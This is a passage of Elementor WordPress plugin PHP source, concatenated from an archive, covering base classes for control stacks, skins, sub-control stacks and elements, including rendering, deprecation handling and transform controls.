)->deprecation->deprecated_function( __METHOD__, '2.9.0', 'get_initial_config()' ); return $this->get_initial_config(); } /** * Get section arguments. * * Retrieve the section arguments based on section ID. * * @since 1.4.0 * @access protected * * @param string $section_id Section ID. * * @return array Section arguments. */ protected function get_section_args( $section_id ) { $section_control = $this->get_controls( $section_id ); $section_args_keys = [ 'tab', 'condition' ]; $args = array_intersect_key( $section_control, array_flip( $section_args_keys ) ); $args['section'] = $section_id; return $args; } /** * Render element. * * Generates the final HTML on the frontend. * * @since 2.0.0 * @access protected */ protected function render() {} /** * Render element in static mode. * * If not inherent will call the base render. */ protected function render_static() { $this->render(); } /** * Determine the render logic. */ protected function render_by_mode() { if ( Plugin::$instance->frontend->is_static_render_mode() ) { $this->render_static(); return; } $this->render(); } /** * Print content template. * * Used to generate the content template on the editor, using a * Backbone JavaScript template. * * @access protected * @since 2.0.0 * * @param string $template_content Template content. */ protected function print_template_content( $template_content ) { echo $template_content; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } /** * Render element output in the editor. * * Used to generate the live preview, using a Backbone JavaScript template. * * @since 2.9.0 * @access protected */ protected function content_template() {} /** * Render element output in the editor. * * Used to generate the live preview, using a Backbone JavaScript template. * * @since 2.0.0 * @deprecated 2.9.0 Use `content_template()` method instead. * @access protected */ protected function _content_template() { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '2.9.0', 'content_template()' ); $this->content_template(); } /** * Initialize controls. * * Register the all controls added by `register_controls()`. * * @since 2.0.0 * @access protected */ protected function init_controls() { Plugin::$instance->controls_manager->open_stack( $this ); // TODO: This is for backwards compatibility starting from 2.9.0 // This `if` statement should be removed when the method is removed if ( $this->has_own_method( '_register_controls', self::class ) ) { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( '_register_controls', '3.1.0', __CLASS__ . '::register_controls()' ); $this->_register_controls(); } else { $this->register_controls(); } } protected function handle_control_position( array $args, $control_id, $overwrite ) { if ( isset( $args['type'] ) && in_array( $args['type'], [ Controls_Manager::SECTION, Controls_Manager::WP_WIDGET ], true ) ) { return $args; } $target_section_args = $this->current_section; $target_tab = $this->current_tab; if ( $this->injection_point ) { $target_section_args = $this->injection_point['section']; if ( ! empty( $this->injection_point['tab'] ) ) { $target_tab = $this->injection_point['tab']; } } if ( null !== $target_section_args ) { if ( ! empty( $args['section'] ) || ! empty( $args['tab'] ) ) { _doing_it_wrong( sprintf( '%s::%s', get_called_class(), __FUNCTION__ ), sprintf( 'Cannot redeclare control with `tab` or `section` args inside section "%s".', $control_id ), '1.0.0' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } $args = array_replace_recursive( $target_section_args, $args ); if ( null !== $target_tab ) { $args = array_replace_recursive( $target_tab, $args ); } } elseif ( empty( $args['section'] ) && ( ! $overwrite || is_wp_error( Plugin::$instance->controls_manager->get_control_from_stack( $this->get_unique_name(), $control_id ) ) ) ) { if ( ! Performance::should_optimize_controls() ) { wp_die( sprintf( '%s::%s: Cannot add a control outside of a section (use `start_controls_section`).', get_called_class(), __FUNCTION__ ) ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } } return $args; } /** * Initialize the class. * * Set the raw data, the ID and the parsed settings. * * @since 2.9.0 * @access protected * * @param array $data Initial data. */ protected function init( $data ) { $this->data = array_merge( $this->get_default_data(), $data ); $this->id = $data['id']; } /** * Initialize the class. * * Set the raw data, the ID and the parsed settings. * * @since 1.4.0 * @deprecated 2.9.0 Use `init()` method instead. * @access protected * * @param array $data Initial data. */ protected function _init( $data ) { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '2.9.0', 'init()' ); $this->init( $data ); } /** * Sanitize initial data. * * Performs settings cleaning and sanitization. * * @since 2.1.5 * @access private * * @param array $settings Settings to sanitize. * @param array $controls Optional. An array of controls. Default is an * empty array. * * @return array Sanitized settings. */ private function sanitize_settings( array $settings, array $controls = [] ) { if ( ! $controls ) { $controls = $this->get_controls(); } foreach ( $controls as $control ) { $control_obj = Plugin::$instance->controls_manager->get_control( $control['type'] ); if ( $control_obj instanceof Control_Repeater ) { if ( empty( $settings[ $control['name'] ] ) ) { continue; } foreach ( $settings[ $control['name'] ] as $index => $repeater_row_data ) { $sanitized_row_data = $this->sanitize_settings( $repeater_row_data, $control['fields'] ); $settings[ $control['name'] ][ $index ] = $sanitized_row_data; } continue; } $is_dynamic = isset( $settings[ Manager::DYNAMIC_SETTING_KEY ][ $control['name'] ] ); if ( ! $is_dynamic ) { continue; } $value_to_check = $settings[ Manager::DYNAMIC_SETTING_KEY ][ $control['name'] ]; $tag_text_data = Plugin::$instance->dynamic_tags->tag_text_to_tag_data( $value_to_check ); if ( ! Plugin::$instance->dynamic_tags->get_tag_info( $tag_text_data['name'] ) ) { unset( $settings[ Manager::DYNAMIC_SETTING_KEY ][ $control['name'] ] ); } } return $settings; } /** * Controls stack constructor. * * Initializing the control stack class using `$data`. The `$data` is required * for a normal instance. It is optional only for internal `type instance`. * * @since 1.4.0 * @access public * * @param array $data Optional. Control stack data. Default is an empty array. */ public function __construct( array $data = [] ) { if ( $data ) { // TODO: This is for backwards compatibility starting from 2.9.0 // This if statement should be removed when the method is hard-deprecated if ( $this->has_own_method( '_init', self::class ) ) { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( '_init', '2.9.0', __CLASS__ . '::init()' ); $this->_init( $data ); } else { $this->init( $data ); } } } } includes/base/skin-base.php000064400000014364147206604650011673 0ustar00_register_controls_actions(); } /** * Render skin. * * Generates the final HTML on the frontend. * * @since 1.0.0 * @access public * @abstract */ abstract public function render(); /** * Render element in static mode. * * If not inherent will call the base render. */ public function render_static() { $this->render(); } /** * Determine the render logic. */ public function render_by_mode() { if ( Plugin::$instance->frontend->is_static_render_mode() ) { $this->render_static(); return; } $this->render(); } /** * Register skin controls actions. * * Run on init and used to register new skins to be injected to the widget. * This method is used to register new actions that specify the location of * the skin in the widget. * * Example usage: * `add_action( 'elementor/element/{widget_id}/{section_id}/before_section_end', [ $this, 'register_controls' ] );` * * @since 1.0.0 * @access protected */ protected function _register_controls_actions() {} /** * Get skin control ID. * * Retrieve the skin control ID. Note that skin controls have special prefix * to distinguish them from regular controls, and from controls in other * skins. * * @since 1.0.0 * @access protected * * @param string $control_base_id Control base ID. * * @return string Control ID. */ protected function get_control_id( $control_base_id ) { $skin_id = str_replace( '-', '_', $this->get_id() ); return $skin_id . '_' . $control_base_id; } /** * Get skin settings. * * Retrieve all the skin settings or, when requested, a specific setting. * * @since 1.0.0 * @TODO: rename to get_setting() and create backward compatibility. * * @access public * * @param string $control_base_id Control base ID. * * @return mixed */ public function get_instance_value( $control_base_id ) { $control_id = $this->get_control_id( $control_base_id ); return $this->parent->get_settings( $control_id ); } /** * Start skin controls section. * * Used to add a new section of controls to the skin. * * @since 1.3.0 * @access public * * @param string $id Section ID. * @param array $args Section arguments. */ public function start_controls_section( $id, $args = [] ) { $args['condition']['_skin'] = $this->get_id(); parent::start_controls_section( $id, $args ); } /** * Add new skin control. * * Register a single control to the allow the user to set/update skin data. * * @param string $id Control ID. * @param array $args Control arguments. * @param array $options * * @return bool True if skin added, False otherwise. * @since 3.0.0 New `$options` parameter added. * @access public * */ public function add_control( $id, $args = [], $options = [] ) { $args['condition']['_skin'] = $this->get_id(); return parent::add_control( $id, $args, $options ); } /** * Update skin control. * * Change the value of an existing skin control. * * @since 1.3.0 * @since 1.8.1 New `$options` parameter added. * * @access public * * @param string $id Control ID. * @param array $args Control arguments. Only the new fields you want to update. * @param array $options Optional. Some additional options. */ public function update_control( $id, $args, array $options = [] ) { $args['condition']['_skin'] = $this->get_id(); parent::update_control( $id, $args, $options ); } /** * Add new responsive skin control. * * Register a set of controls to allow editing based on user screen size. * * @param string $id Responsive control ID. * @param array $args Responsive control arguments. * @param array $options * * @since 1.0.5 * @access public * */ public function add_responsive_control( $id, $args, $options = [] ) { $args['condition']['_skin'] = $this->get_id(); parent::add_responsive_control( $id, $args ); } /** * Start skin controls tab. * * Used to add a new tab inside a group of tabs. * * @since 1.5.0 * @access public * * @param string $id Control ID. * @param array $args Control arguments. */ public function start_controls_tab( $id, $args ) { $args['condition']['_skin'] = $this->get_id(); parent::start_controls_tab( $id, $args ); } /** * Start skin controls tabs. * * Used to add a new set of tabs inside a section. * * @since 1.5.0 * @access public * * @param string $id Control ID. */ public function start_controls_tabs( $id ) { $args['condition']['_skin'] = $this->get_id(); parent::start_controls_tabs( $id ); } /** * Add new group control. * * Register a set of related controls grouped together as a single unified * control. * * @param string $group_name Group control name. * @param array $args Group control arguments. Default is an empty array. * @param array $options * * @since 1.0.0 * @access public * */ final public function add_group_control( $group_name, $args = [], $options = [] ) { $args['condition']['_skin'] = $this->get_id(); parent::add_group_control( $group_name, $args ); } /** * Set parent widget. * * Used to define the parent widget of the skin. * * @since 1.0.0 * @access public * * @param Widget_Base $parent Parent widget. */ public function set_parent( $parent ) { $this->parent = $parent; } } includes/base/sub-controls-stack.php000064400000012435147206604650013551 0ustar00parent = $parent; } /** * Get control ID. * * Retrieve the control ID. Note that the sub controls stack may have a special prefix * to distinguish them from regular controls, and from controls in other * sub stack. * * By default do nothing, and return the original id. * * @access protected * * @param string $control_base_id Control base ID. * * @return string Control ID. */ protected function get_control_id( $control_base_id ) { return $control_base_id; } /** * Add new control. * * Register a single control to allow the user to set/update data. * * @access public * * @param string $id Control ID. * @param array $args Control arguments. * @param array $options * * @return bool True if added, False otherwise. */ public function add_control( $id, $args, $options = [] ) { return $this->parent->add_control( $this->get_control_id( $id ), $args, $options ); } /** * Update control. * * Change the value of an existing control. * * @access public * * @param string $id Control ID. * @param array $args Control arguments. Only the new fields you want to update. * @param array $options Optional. Some additional options. */ public function update_control( $id, $args, array $options = [] ) { $this->parent->update_control( $this->get_control_id( $id ), $args, $options ); } /** * Remove control. * * Unregister an existing control. * * @access public * * @param string $id Control ID. */ public function remove_control( $id ) { $this->parent->remove_control( $this->get_control_id( $id ) ); } /** * Add new group control. * * Register a set of related controls grouped together as a single unified * control. * * @access public * * @param string $group_name Group control name. * @param array $args Group control arguments. Default is an empty array. * @param array $options * */ public function add_group_control( $group_name, $args, $options = [] ) { $args['name'] = $this->get_control_id( $args['name'] ); $this->parent->add_group_control( $group_name, $args, $options ); } /** * Add new responsive control. * * Register a set of controls to allow editing based on user screen size. * * @access public * * @param string $id Responsive control ID. * @param array $args Responsive control arguments. * @param array $options */ public function add_responsive_control( $id, $args, $options = [] ) { $this->parent->add_responsive_control( $this->get_control_id( $id ), $args, $options ); } /** * Update responsive control. * * Change the value of an existing responsive control. * * @access public * * @param string $id Responsive control ID. * @param array $args Responsive control arguments. */ public function update_responsive_control( $id, $args ) { $this->parent->update_responsive_control( $this->get_control_id( $id ), $args ); } /** * Remove responsive control. * * Unregister an existing responsive control. * * @access public * * @param string $id Responsive control ID. */ public function remove_responsive_control( $id ) { $this->parent->remove_responsive_control( $this->get_control_id( $id ) ); } /** * Start controls section. * * Used to add a new section of controls to the stack. * * @access public * * @param string $id Section ID. * @param array $args Section arguments. */ public function start_controls_section( $id, $args = [] ) { $this->parent->start_controls_section( $this->get_control_id( $id ), $args ); } /** * End controls section. * * Used to close an existing open controls section. * * @access public */ public function end_controls_section() { $this->parent->end_controls_section(); } /** * Start controls tabs. * * Used to add a new set of tabs inside a section. * * @access public * * @param string $id Control ID. */ public function start_controls_tabs( $id ) { $this->parent->start_controls_tabs( $this->get_control_id( $id ) ); } public function start_controls_tab( $id, $args ) { $this->parent->start_controls_tab( $this->get_control_id( $id ), $args ); } /** * End controls tabs. * * Used to close an existing open controls tabs. * * @access public */ public function end_controls_tab() { $this->parent->end_controls_tab(); } /** * End controls tabs. * * Used to close an existing open controls tabs. * * @access public */ public function end_controls_tabs() { $this->parent->end_controls_tabs(); } } includes/base/element-base.php000064400000116276147206604650012365 0ustar00depended_scripts[] = $handler; } /** * Add style depends. * * Register new style to enqueue by the handler. * * @since 1.9.0 * @access public * * @param string $handler Depend style handler. */ public function add_style_depends( $handler ) { $this->depended_styles[] = $handler; } /** * Get script dependencies. * * Retrieve the list of script dependencies the element requires. * * @since 1.3.0 * @access public * * @return array Element scripts dependencies. */ public function get_script_depends() { return $this->depended_scripts; } /** * Enqueue scripts. * * Registers all the scripts defined as element dependencies and enqueues * them. Use `get_script_depends()` method to add custom script dependencies. * * @since 1.3.0 * @access public */ final public function enqueue_scripts() { $deprecated_scripts = [ //Insert here when you have a deprecated script ]; foreach ( $this->get_script_depends() as $script ) { if ( isset( $deprecated_scripts[ $script ] ) ) { Utils::handle_deprecation( $script, $deprecated_scripts[ $script ]['version'], $deprecated_scripts[ $script ]['replacement'] ); } wp_enqueue_script( $script ); } } /** * Get style dependencies. * * Retrieve the list of style dependencies the element requires. * * @since 1.9.0 * @access public * * @return array Element styles dependencies. */ public function get_style_depends() { return $this->depended_styles; } /** * Enqueue styles. * * Registers all the styles defined as element dependencies and enqueues * them. Use `get_style_depends()` method to add custom style dependencies. * * @since 1.9.0 * @access public */ final public function enqueue_styles() { foreach ( $this->get_style_depends() as $style ) { wp_enqueue_style( $style ); } } /** * @since 1.0.0 * @deprecated 2.6.0 * @access public * @static */ final public static function add_edit_tool() {} /** * @since 2.2.0 * @deprecated 2.6.0 * @access public * @static */ final public static function is_edit_buttons_enabled() { return get_option( 'elementor_edit_buttons' ); } /** * Get default child type. * * Retrieve the default child type based on element data. * * Note that not all elements support children. * * @since 1.0.0 * @access protected * @abstract * * @param array $element_data Element data. * * @return Element_Base */ abstract protected function _get_default_child_type( array $element_data ); /** * Before element rendering. * * Used to add stuff before the element. * * @since 1.0.0 * @access public */ public function before_render() {} /** * After element rendering. * * Used to add stuff after the element. * * @since 1.0.0 * @access public */ public function after_render() {} /** * Get element title. * * Retrieve the element title. * * @since 1.0.0 * @access public * * @return string Element title. */ public function get_title() { return ''; } /** * Get element icon. * * Retrieve the element icon. * * @since 1.0.0 * @access public * * @return string Element icon. */ public function get_icon() { return 'eicon-columns'; } public function get_help_url() { return 'https://go.elementor.com/widget-' . $this->get_name(); } public function get_custom_help_url() { return ''; } /** * Whether the reload preview is required. * * Used to determine whether the reload preview is required or not. * * @since 1.0.0 * @access public * * @return bool Whether the reload preview is required. */ public function is_reload_preview_required() { return false; } /** * @since 2.3.1 * @access protected */ protected function should_print_empty() { return true; } /** * Whether the element returns dynamic content. * * set to determine whether to cache the element output or not. * * @since 3.22.0 * @access protected * * @return bool Whether to cache the element output. */ protected function is_dynamic_content(): bool { return true; } /** * Get child elements. * * Retrieve all the child elements of this element. * * @since 1.0.0 * @access public * * @return Element_Base[] Child elements. */ public function get_children() { if ( null === $this->children ) { $this->init_children(); } return $this->children; } /** * Get default arguments. * * Retrieve the element default arguments. Used to return all the default * arguments or a specific default argument, if one is set. * * @since 1.0.0 * @access public * * @param array $item Optional. Default is null. * * @return array Default argument(s). */ public function get_default_args( $item = null ) { return self::get_items( $this->default_args, $item ); } /** * Get panel presets. * * Used for displaying the widget in the panel multiple times, but with different defaults values, * icon, title etc. * * @since 3.16.0 * @access public * * @return array */ public function get_panel_presets() { return []; } /** * Add new child element. * * Register new child element to allow hierarchy. * * @since 1.0.0 * @access public * @param array $child_data Child element data. * @param array $child_args Child element arguments. * * @return Element_Base|false Child element instance, or false if failed. */ public function add_child( array $child_data, array $child_args = [] ) { if ( null === $this->children ) { $this->init_children(); } $child_type = $this->get_child_type( $child_data ); if ( ! $child_type ) { return false; } $child = Plugin::$instance->elements_manager->create_element_instance( $child_data, $child_args, $child_type ); if ( $child ) { $this->children[] = $child; } return $child; } /** * Add link render attributes. * * Used to add link tag attributes to a specific HTML element. * * The HTML link tag is represented by the element parameter. The `url_control` parameter * needs to be an array of link settings in the same format they are set by Elementor's URL control. * * Example usage: * * `$this->add_link_attributes( 'button', $settings['link'] );` * * @since 2.8.0 * @access public * * @param array|string $element The HTML element. * @param array $url_control Array of link settings. * @param bool $overwrite Optional. Whether to overwrite existing * attribute. Default is false, not to overwrite. * * @return Element_Base Current instance of the element. */ public function add_link_attributes( $element, array $url_control, $overwrite = false ) { $attributes = []; if ( ! empty( $url_control['url'] ) ) { $allowed_protocols = array_merge( wp_allowed_protocols(), [ 'skype', 'viber' ] ); $attributes['href'] = esc_url( $url_control['url'], $allowed_protocols ); } if ( ! empty( $url_control['is_external'] ) ) { $attributes['target'] = '_blank'; } if ( ! empty( $url_control['nofollow'] ) ) { $attributes['rel'] = 'nofollow'; } if ( ! empty( $url_control['custom_attributes'] ) ) { // Custom URL attributes should come as a string of comma-delimited key|value pairs $attributes = array_merge( $attributes, Utils::parse_custom_attributes( $url_control['custom_attributes'] ) ); } if ( $attributes ) { $this->add_render_attribute( $element, $attributes, null, $overwrite ); } return $this; } /** * Print element. * * Used to generate the element final HTML on the frontend and the editor. * * @since 1.0.0 * @access public */ public function print_element() { $element_type = $this->get_type(); if ( $this->should_render_shortcode() ) { echo '[elementor-element data="' . esc_attr( base64_encode( wp_json_encode( $this->get_raw_data() ) ) ) . '"]'; return; } /** * Before frontend element render. * * Fires before Elementor element is rendered in the frontend. * * @since 2.2.0 * * @param Element_Base $this The element. */ do_action( 'elementor/frontend/before_render', $this ); /** * Before frontend element render. * * Fires before Elementor element is rendered in the frontend. * * The dynamic portion of the hook name, `$element_type`, refers to the element type. * * @since 1.0.0 * * @param Element_Base $this The element. */ do_action( "elementor/frontend/{$element_type}/before_render", $this ); ob_start(); if ( $this->has_own_method( '_print_content', self::class ) ) { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( '_print_content', '3.1.0', __CLASS__ . '::print_content()' ); $this->_print_content(); } else { $this->print_content(); } $content = ob_get_clean(); $should_render = ( ! empty( $content ) || $this->should_print_empty() ); /** * Should the element be rendered for frontend * * Filters if the element should be rendered on frontend. * * @since 2.3.3 * * @param bool true The element. * @param Element_Base $this The element. */ $should_render = apply_filters( "elementor/frontend/{$element_type}/should_render", $should_render, $this ); if ( $should_render ) { if ( $this->has_own_method( '_add_render_attributes', self::class ) ) { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( '_add_render_attributes', '3.1.0', __CLASS__ . '::add_render_attributes()' ); $this->_add_render_attributes(); } else { $this->add_render_attributes(); } $this->before_render(); // PHPCS - The content has already been escaped by the `render` method. echo $content; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped $this->after_render(); // TODO: Remove this in the future // Since version 3.24.0 page scripts/styles are handled by `page_assets`. $this->enqueue_scripts(); $this->enqueue_styles(); } /** * After frontend element render. * * Fires after Elementor element is rendered in the frontend. * * The dynamic portion of the hook name, `$element_type`, refers to the element type. * * @since 1.0.0 * * @param Element_Base $this The element. */ do_action( "elementor/frontend/{$element_type}/after_render", $this ); /** * After frontend element render. * * Fires after Elementor element is rendered in the frontend. * * @since 2.3.0 * * @param Element_Base $this The element. */ do_action( 'elementor/frontend/after_render', $this ); } protected function should_render_shortcode() { $should_render_shortcode = apply_filters( 'elementor/element/should_render_shortcode', false ); if ( ! $should_render_shortcode ) { return false; } $raw_data = $this->get_raw_data(); if ( ! empty( $raw_data['settings']['_element_cache'] ) ) { return 'yes' === $raw_data['settings']['_element_cache']; } if ( $this->is_dynamic_content() ) { return true; } $is_dynamic_content = apply_filters( 'elementor/element/is_dynamic_content', false, $raw_data, $this ); $has_dynamic_tag = $this->has_element_dynamic_tag( $raw_data['settings'] ); if ( $is_dynamic_content || $has_dynamic_tag ) { return true; } return false; } private function has_element_dynamic_tag( $element_settings ): bool { if ( is_array( $element_settings ) ) { if ( ! empty( $element_settings['__dynamic__'] ) ) { return true; } foreach ( $element_settings as $value ) { $has_dynamic = $this->has_element_dynamic_tag( $value ); if ( $has_dynamic ) { return true; } } } return false; } /** * Get the element raw data. * * Retrieve the raw element data, including the id, type, settings, child * elements and whether it is an inner element. * * The data with the HTML used always to display the data, but the Elementor * editor uses the raw data without the HTML in order not to render the data * again. * * @since 1.0.0 * @access public * * @param bool $with_html_content Optional. Whether to return the data with * HTML content or without. Used for caching. * Default is false, without HTML. * * @return array Element raw data. */ public function get_raw_data( $with_html_content = false ) { $data = $this->get_data(); $elements = []; foreach ( $this->get_children() as $child ) { $elements[] = $child->get_raw_data( $with_html_content ); } $raw_data = [ 'id' => $this->get_id(), 'elType' => $data['elType'], 'settings' => $data['settings'], 'elements' => $elements, 'isInner' => $data['isInner'], ]; if ( ! empty( $data['isLocked'] ) ) { $raw_data['isLocked'] = $data['isLocked']; } return $raw_data; } public function get_data_for_save() { $data = $this->get_raw_data(); $elements = []; foreach ( $this->get_children() as $child ) { $elements[] = $child->get_data_for_save(); } if ( ! empty( $elements ) ) { $data['elements'] = $elements; } if ( ! empty( $data['settings'] ) ) { $data['settings'] = $this->on_save( $data['settings'] ); } return $data; } /** * Get unique selector. * * Retrieve the unique selector of the element. Used to set a unique HTML * class for each HTML element. This way Elementor can set custom styles for * each element. * * @since 1.0.0 * @access public * * @return string Unique selector. */ public function get_unique_selector() { return '.elementor-element-' . $this->get_id(); } /** * Is type instance. * * Used to determine whether the element is an instance of that type or not. * * @since 1.0.0 * @access public * * @return bool Whether the element is an instance of that type. */ public function is_type_instance() { return $this->is_type_instance; } /** * On import update dynamic content (e.g. post and term IDs). * * @since 3.8.0 * * @param array $config The config of the passed element. * @param array $data The data that requires updating/replacement when imported. * @param array|null $controls The available controls. * * @return array Element data. */ public static function on_import_update_dynamic_content( array $config, array $data, $controls = null ) : array { $tags_manager = Plugin::$instance->dynamic_tags; if ( empty( $config['settings'][ $tags_manager::DYNAMIC_SETTING_KEY ] ) ) { return $config; } foreach ( $config['settings'][ $tags_manager::DYNAMIC_SETTING_KEY ] as $dynamic_name => $dynamic_value ) { $tag_config = $tags_manager->tag_text_to_tag_data( $dynamic_value ); $tag_instance = $tags_manager->create_tag( $tag_config['id'], $tag_config['name'], $tag_config['settings'] ); if ( is_null( $tag_instance ) ) { continue; } if ( $tag_instance->has_own_method( 'on_import_replace_dynamic_content' ) ) { // TODO: Remove this check in the future. $tag_config = $tag_instance->on_import_replace_dynamic_content( $tag_config, $data['post_ids'] ); } else { $tag_config = $tag_instance->on_import_update_dynamic_content( $tag_config, $data, $tag_instance->get_controls() ); } $config['settings'][ $tags_manager::DYNAMIC_SETTING_KEY ][ $dynamic_name ] = $tags_manager->tag_data_to_tag_text( $tag_config['id'], $tag_config['name'], $tag_config['settings'] ); } return $config; } /** * Add render attributes. * * Used to add attributes to the current element wrapper HTML tag. * * @since 1.3.0 * @access protected * @deprecated 3.1.0 Use `add_render_attribute()` method instead. */ protected function _add_render_attributes() { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.1.0', 'add_render_attributes()' ); return $this->add_render_attributes(); } /** * Add render attributes. * * Used to add attributes to the current element wrapper HTML tag. * * @since 3.1.0 * @access protected */ protected function add_render_attributes() { $id = $this->get_id(); $settings = $this->get_settings_for_display(); $frontend_settings = $this->get_frontend_settings(); $controls = $this->get_controls(); $this->add_render_attribute( '_wrapper', [ 'class' => [ 'elementor-element', 'elementor-element-' . $id, ], 'data-id' => $id, 'data-element_type' => $this->get_type(), ] ); $class_settings = []; foreach ( $settings as $setting_key => $setting ) { if ( isset( $controls[ $setting_key ]['prefix_class'] ) ) { if ( isset( $controls[ $setting_key ]['classes_dictionary'][ $setting ] ) ) { $value = $controls[ $setting_key ]['classes_dictionary'][ $setting ]; } else { $value = $setting; } $class_settings[ $setting_key ] = $value; } } foreach ( $class_settings as $setting_key => $setting ) { if ( empty( $setting ) && '0' !== $setting ) { continue; } $this->add_render_attribute( '_wrapper', 'class', $controls[ $setting_key ]['prefix_class'] . $setting ); } $_animation = ! empty( $settings['_animation'] ); $animation = ! empty( $settings['animation'] ); $has_animation = $_animation && 'none' !== $settings['_animation'] || $animation && 'none' !== $settings['animation']; if ( $has_animation ) { $is_static_render_mode = Plugin::$instance->frontend->is_static_render_mode(); if ( ! $is_static_render_mode ) { // Hide the element until the animation begins $this->add_render_attribute( '_wrapper', 'class', 'elementor-invisible' ); } } if ( ! empty( $settings['_element_id'] ) ) { $this->add_render_attribute( '_wrapper', 'id', trim( $settings['_element_id'] ) ); } if ( $frontend_settings ) { $this->add_render_attribute( '_wrapper', 'data-settings', wp_json_encode( $frontend_settings ) ); } /** * After element attribute rendered. * * Fires after the attributes of the element HTML tag are rendered. * * @since 2.3.0 * * @param Element_Base $this The element. */ do_action( 'elementor/element/after_add_attributes', $this ); } /** * Register the Transform controls in the advanced tab of the element. * * Previously registered under the Widget_Common class, but registered a more fundamental level now to enable access from other widgets. * * @since 3.9.0 * @access protected * @return void */ protected function register_transform_section( $element_selector = '' ) { $default_unit_values_deg = []; $default_unit_values_ms = []; // Set the default unit sizes for all active breakpoints. foreach ( Breakpoints_Manager::get_default_config() as $breakpoint_name => $breakpoint_config ) { $default_unit_values_deg[ $breakpoint_name ] = [ 'default' => [ 'unit' => 'deg', ], ]; $default_unit_values_ms[ $breakpoint_name ] = [ 'default' => [ 'unit' => 'ms', ], ]; } $this->start_controls_section( '_section_transform', [ 'label' => esc_html__( 'Transform', 'elementor' ), 'tab' => Controls_Manager::TAB_ADVANCED, ] ); $this->start_controls_tabs( '_tabs_positioning' ); $transform_prefix_class = 'e-'; $transform_return_value = 'transform'; $transform_selector_class = ' > .elementor-widget-container'; $transform_css_modifier = ''; if ( 'con' === $element_selector ) { $transform_selector_class = '.e-' . $element_selector; $transform_css_modifier = $element_selector . '-'; } foreach ( [ '', '_hover' ] as $tab ) { $state = '_hover' === $tab ? ':hover' : ''; $this->start_controls_tab( "_tab_positioning{$tab}", [ 'label' => '' === $tab ? esc_html__( 'Normal', 'elementor' ) : esc_html__( 'Hover', 'elementor' ), ] ); $this->add_control( "_transform_rotate_popover{$tab}", [ 'label' => esc_html__( 'Rotate', 'elementor' ), 'type' => Controls_Manager::POPOVER_TOGGLE, 'prefix_class' => $transform_prefix_class, 'return_value' => $transform_return_value, ] ); $this->start_popover(); $this->add_responsive_control( "_transform_rotateZ_effect{$tab}", [ 'label' => esc_html__( 'Rotate', 'elementor' ) . ' (deg)', 'type' => Controls_Manager::SLIDER, 'device_args' => $default_unit_values_deg, 'range' => [ 'px' => [ 'min' => -360, 'max' => 360, ], ], 'selectors' => [ "{{WRAPPER}}{$transform_selector_class}{$state}" => '--e-' . $transform_css_modifier . 'transform-rotateZ: {{SIZE}}deg', ], 'condition' => [ "_transform_rotate_popover{$tab}!" => '', ], 'frontend_available' => true, ] ); $this->add_control( "_transform_rotate_3d{$tab}", [ 'label' => esc_html__( '3D Rotate', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'label_on' => esc_html__( 'On', 'elementor' ), 'label_off' => esc_html__( 'Off', 'elementor' ), 'selectors' => [ "{{WRAPPER}}{$transform_selector_class}{$state}" => '--e-' . $transform_css_modifier . 'transform-rotateX: 1{{UNIT}}; --e-' . $transform_css_modifier . 'transform-perspective: 20px;', ], 'condition' => [ "_transform_rotate_popover{$tab}!" => '', ], ] ); $this->add_responsive_control( "_transform_rotateX_effect{$tab}", [ 'label' => esc_html__( 'Rotate X', 'elementor' ) . ' (deg)', 'type' => Controls_Manager::SLIDER, 'device_args' => $default_unit_values_deg, 'range' => [ 'px' => [ 'min' => -360, 'max' => 360, ], ], 'condition' => [ "_transform_rotate_3d{$tab}!" => '', "_transform_rotate_popover{$tab}!" => '', ], 'selectors' => [ "{{WRAPPER}}{$transform_selector_class}{$state}" => '--e-' . $transform_css_modifier . 'transform-rotateX: {{SIZE}}deg;', ], 'frontend_available' => true, ] ); $this->add_responsive_control( "_transform_rotateY_effect{$tab}", [ 'label' => esc_html__( 'Rotate Y', 'elementor' ) . ' (deg)', 'type' => Controls_Manager::SLIDER, 'device_args' => $default_unit_values_deg, 'range' => [ 'px' => [ 'min' => -360, 'max' => 360, ], ], 'condition' => [ "_transform_rotate_3d{$tab}!" => '', "_transform_rotate_popover{$tab}!" => '', ], 'selectors' => [ "{{WRAPPER}}{$transform_selector_class}{$state}" => '--e-' . $transform_css_modifier . 'transform-rotateY: {{SIZE}}deg;', ], 'frontend_available' => true, ] ); $this->add_responsive_control( "_transform_perspective_effect{$tab}", [ 'label' => esc_html__( 'Perspective', 'elementor' ) . ' (px)', 'type' => Controls_Manager::SLIDER, 'range' => [ 'px' => [ 'max' => 1000, ], ], 'condition' => [ "_transform_rotate_popover{$tab}!" => '', "_transform_rotate_3d{$tab}!" => '', ], 'selectors' => [ "{{WRAPPER}}{$transform_selector_class}{$state}" => '--e-' . $transform_css_modifier . 'transform-perspective: {{SIZE}}px', ], 'frontend_available' => true, ] ); $this->end_popover(); $this->add_control( "_transform_translate_popover{$tab}", [ 'label' => esc_html__( 'Offset', 'elementor' ), 'type' => Controls_Manager::POPOVER_TOGGLE, 'prefix_class' => $transform_prefix_class, 'return_value' => $transform_return_value, ] ); $this->start_popover(); $this->add_responsive_control( "_transform_translateX_effect{$tab}", [ 'label' => esc_html__( 'Offset X', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'range' => [ '%' => [ 'min' => -100, 'max' => 100, ], 'px' => [ 'min' => -1000, 'max' => 1000, ], ], 'condition' => [ "_transform_translate_popover{$tab}!" => '', ], 'selectors' => [ "{{WRAPPER}}{$transform_selector_class}{$state}" => '--e-' . $transform_css_modifier . 'transform-translateX: {{SIZE}}{{UNIT}};', ], 'frontend_available' => true, ] ); $this->add_responsive_control( "_transform_translateY_effect{$tab}", [ 'label' => esc_html__( 'Offset Y', 